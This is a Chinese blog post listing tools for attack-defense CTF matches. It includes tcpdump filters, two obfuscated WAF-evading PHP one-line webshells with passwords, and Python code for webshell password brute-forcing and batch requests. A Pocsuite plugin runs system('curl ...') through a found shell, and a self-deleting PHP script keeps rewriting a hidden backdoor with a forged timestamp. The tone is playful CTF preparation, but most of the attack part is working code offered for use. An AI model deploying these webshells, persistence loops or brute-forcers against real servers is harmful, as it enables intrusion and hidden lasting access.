CTF线下赛相关工具

上上周打了大学生涯的最后一场CTF比赛,感觉给老师丢人了,自己赛前准备的东西也没咋用上,很憋屈啊!不说了,还是太菜!这两周忙着毕业设计的事,一直没时间写。把自己收集的资料分享下吧,如有错误,请大牛们指导下。

一、linux tcpdump使用

tcpdump的重要性不用我说了吧,都懂,但是在CTF中可能会没有权限使用。但是工作中肯定会用到的,相信我,不要为CTF而CTF…(不好意思扯淡了 =.=)

1.1、过滤主机

抓取所有经过eth1,目的或源地址是192.168.1.1的网络数据
​ tcpdump -i eth1 host 192.168.1.1
指定源地址
​ tcpdump -i eth1 src host 192.168.1.1
指定目的地址
​ tcpdump -i eth1 dst host 192.168.1.1

1.2、过滤端口

抓取所有经过eth1,目的或源端口是25的网络数据
​ tcpdump -i eth1 port 25
指定源端口
​ tcpdump -i eth1 src port 25
指定目的端口
​ tcpdump -i eth1 dst port 25

1.3、网络过滤

tcpdump -i eth1 net 192.168
tcpdump -i eth1 src net 192.168
tcpdump -i eth1 dst net 192.168

1.4、协议过滤

tcpdump -i eth1 arp
tcpdump -i eth1 ip
tcpdump -i eth1 tcp
tcpdump -i eth1 udp
tcpdump -i eth1 icmp

1.5、常用表达式

非 : ! or "not" (去掉双引号)
且 : && or "and"
或 : || or "or"

抓取所有经过eth1,目的地址是192.168.1.254或192.168.1.200端口是80的TCP数据
​ tcpdump -i eth1 ‘((tcp) and (port 80) and ((dst host 192.168.1.254) or (dst host 192.168.1.200)))’
抓取所有经过eth1,目标MAC地址是00:01:02:03:04:05的ICMP数据
​ tcpdump -i eth1 ‘((icmp) and ((ether dst host 00:01:02:03:04:05)))’
抓取所有经过eth1,目的网络是192.168,但目的主机不是192.168.1.200的TCP数据
​ tcpdump -i eth1 ‘((tcp) and ((dst net 192.168) and (not dst host 192.168.1.200)))’

二、一句话木马

一句话木马主要达到的目的就是就算别人看到了这个webshell,他们也不会用。不然别人直接利用你,用的webshell收割flag。我从自己搜集的过waf的webshell中挑了两个。

1
2
<?php
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}?>

原理我就不讲了,看一下你就明白了,很简单。QGV2YWwoJF9QT1NUWzBdKTs=随意变。
菜刀配置填<O>n985de9=QGV2YWwoJF9QT1NUWzBdKTs=</O>
连接密码:0(零)

1
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

菜刀连接密码:1,自己可以改改,主要学思路。

三、webshell爆破

简单粗暴,只要发现,啥都不用想,拿起工具就是干!
webshell爆破采用之前tools分享的思路,Apache一次允许同时提交1000个参数, IIS允许一次提交5883个参数。
这里我主要用了两个,一个是K8写的GUI版本的,支持PHP、JSP、ASP、ASPX等

一个是自己写的PHP的。

主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1000处理
for i in range(0,dics):
new_group = []
for m in range(i*1000,(i+1)*1000):
new_group.append(group[m])
m += 1
for n in new_group:
post_data[n] = 'echo "password is :%s";' % n
req = requests.post(url,data=post_data)
print u"正在进行第 %s 组字典爆破" % str(i + 1)
print req.content+'****************************-SUCCESS!'
post_data.clear()
余数处理
new_group1 = []
for kk in range(dics*1000, len(content)):
new_group1.append(group[kk])
kk += 1
for each in new_group1:
post_data[each] = 'echo "password is %s";' % each
r = requests.post(url,data=post_data)
print u"正在进行余数字典爆破"
print r.content+'****************************-SUCCESS!'

四、批量发包程序

目的很简单,就是对所在网段的其他主机批量进行某一个操作,具体怎么做,拿它干嘛,看自己思维了。
主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
def sender(domain):
#proxies = { "http": "http://127.0.0.1:8888"}
url = domain
post_data ="password=ls"
payload = "header test"
headers = {'content-type': payload,'User-Agent':random.choice(config['USER_AGENTS'])}
request = urllib2.Request(url,post_data,headers)
response = urllib2.urlopen(request,timeout=config['timeout'])
if response.getcode() == 200:
res = response.read()
return res
else:
return 0

加入了多线程,随机UA等(其实Python的多线程很鸡肋的,你要测试过对比下时间你就知道了。原因你可以查下进程、线程关于多核CPU的利用相关的一些资料)。

五、Pocsuite

神器,就不解释了。其实原理很简单,做了个批量化的框架,自己写插件。主要验证代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def _verify(self):
import re
result = {}
webshellpath = "/ctf/webshell.php" # 配置webshell所在目录
payload = "{domain}" + webshellpath
for pwd in self.pwdList:
exp_url = payload.format(domain=self.url) + '?' + pwd + '=echo "dropsec";'
print exp_url
# exp_url = (payload.format(domain=self.url))
data = {
pwd : u'''echo "dropsec";'''
}
try:
response = req.post(exp_url, data=data, timeout=10, verify=False)
except Exception, e:
return self.parse_output(result)
if response.status_code != 404:
result['VerifyInfo'] = {}
result['VerifyInfo']['status_code'] = response.status_code
result['VerifyInfo']['is'] = 'password wrong'
if 'dropsec' in response.content:
result['VerifyInfo']['url'] = exp_url
result['VerifyInfo']['is'] = 'password yes'
data = {
pwd : u'''system('curl http://192.168.2.3:8080/ctf/webshell.php');'''
#pwd : u'''system('curl http://10.0.1.2');'''
}
try:
response = req.post(exp_url, data=data, timeout=10, verify=False)
result['VerifyInfo']['flag'] = response.content
return self.parse_output(result)
except Exception, e:
return self.parse_output(result)
return self.parse_output(result)

六、批量上传文件

做这个的目的其实就是因为第一次玩CTF线下赛手速慢,为了以后不在因为这个问题在跌倒而做的。PS:其实这个小功能有时候还是很有用的。我多读书多,不骗你-.-{斜眼}

七、权限维持

CTF的权限维持很简单啊,就是木马别被删不就好了。并不需要提权啊什么的啊{捂脸},有时候你考虑问题要结合实际啊,咋简单就咋来嘛。就是做个不死马就好了。
PS:这种小伎俩只是对付一般的CTF比赛,对那种赛棍肯定不适用了,人家写个条件竞争的,分分钟打哭你啊{捂脸},所以还得看情况,该反弹还是要反弹啊。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
//file_put_contents(__FILE__,'');
while(1){
file_put_contents('C:\phpStudy\WWW\ctf\.config.php','<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}[\'n985de9\'];if(isset($s22)){eval($s21($s22));}?>');
system('chmod 777 .config.php');
touch(".config.php",mktime(20,15,1,11,28,2016));
usleep(100);
}
?>

上传这个文件之后,批量访问,就会一直生成木马文件。
PS:大家试想下,要是比赛中存在一个一句话后门,利用批量上传程序,将这个后门批量上上传到各个靶机上,再利用批量发包程序访问这个后门,再利用pocsuite,然后。。。哈哈哈,是不是很爽。(理想很丰满啊…)

八、日志记录

主要是为了网站访问记录,便于后续的问题排查,就是把各种字段的数据记录下来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //访问IP
$filename = $_SERVER['PHP_SELF']; //访问的文件
$parameter = $_SERVER["QUERY_STRING"]; //查询的字符串
$method = $_SERVER['REQUEST_METHOD']; //请求方法
...
$time = date('Y-m-d H:i:s',time()); //请求时间
$post = file_get_contents("php://input",'r'); //接收POST数据
$others = '**********************************************************************';
$logadd = '访问时间:'.$time.'访问IP:'.$ip.'请求方法:'.$method.' '.'访问链接:'.$filename.'?'.$parameter."\r\n";...
//记录写入
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fwrite($fh,print_r($_COOKIE, true)."\r\n");
fwrite($fh,$others."\r\n");
fclose($fh);

九、文件监控

网上自己搜搜吧,很多

十、WAF

网上自己搜搜吧,很多

PS:九和十,注意分寸,不能影响正常业务的。

。。。

好久没写这么长的博客了。。。

大爷,赏个铜板呗!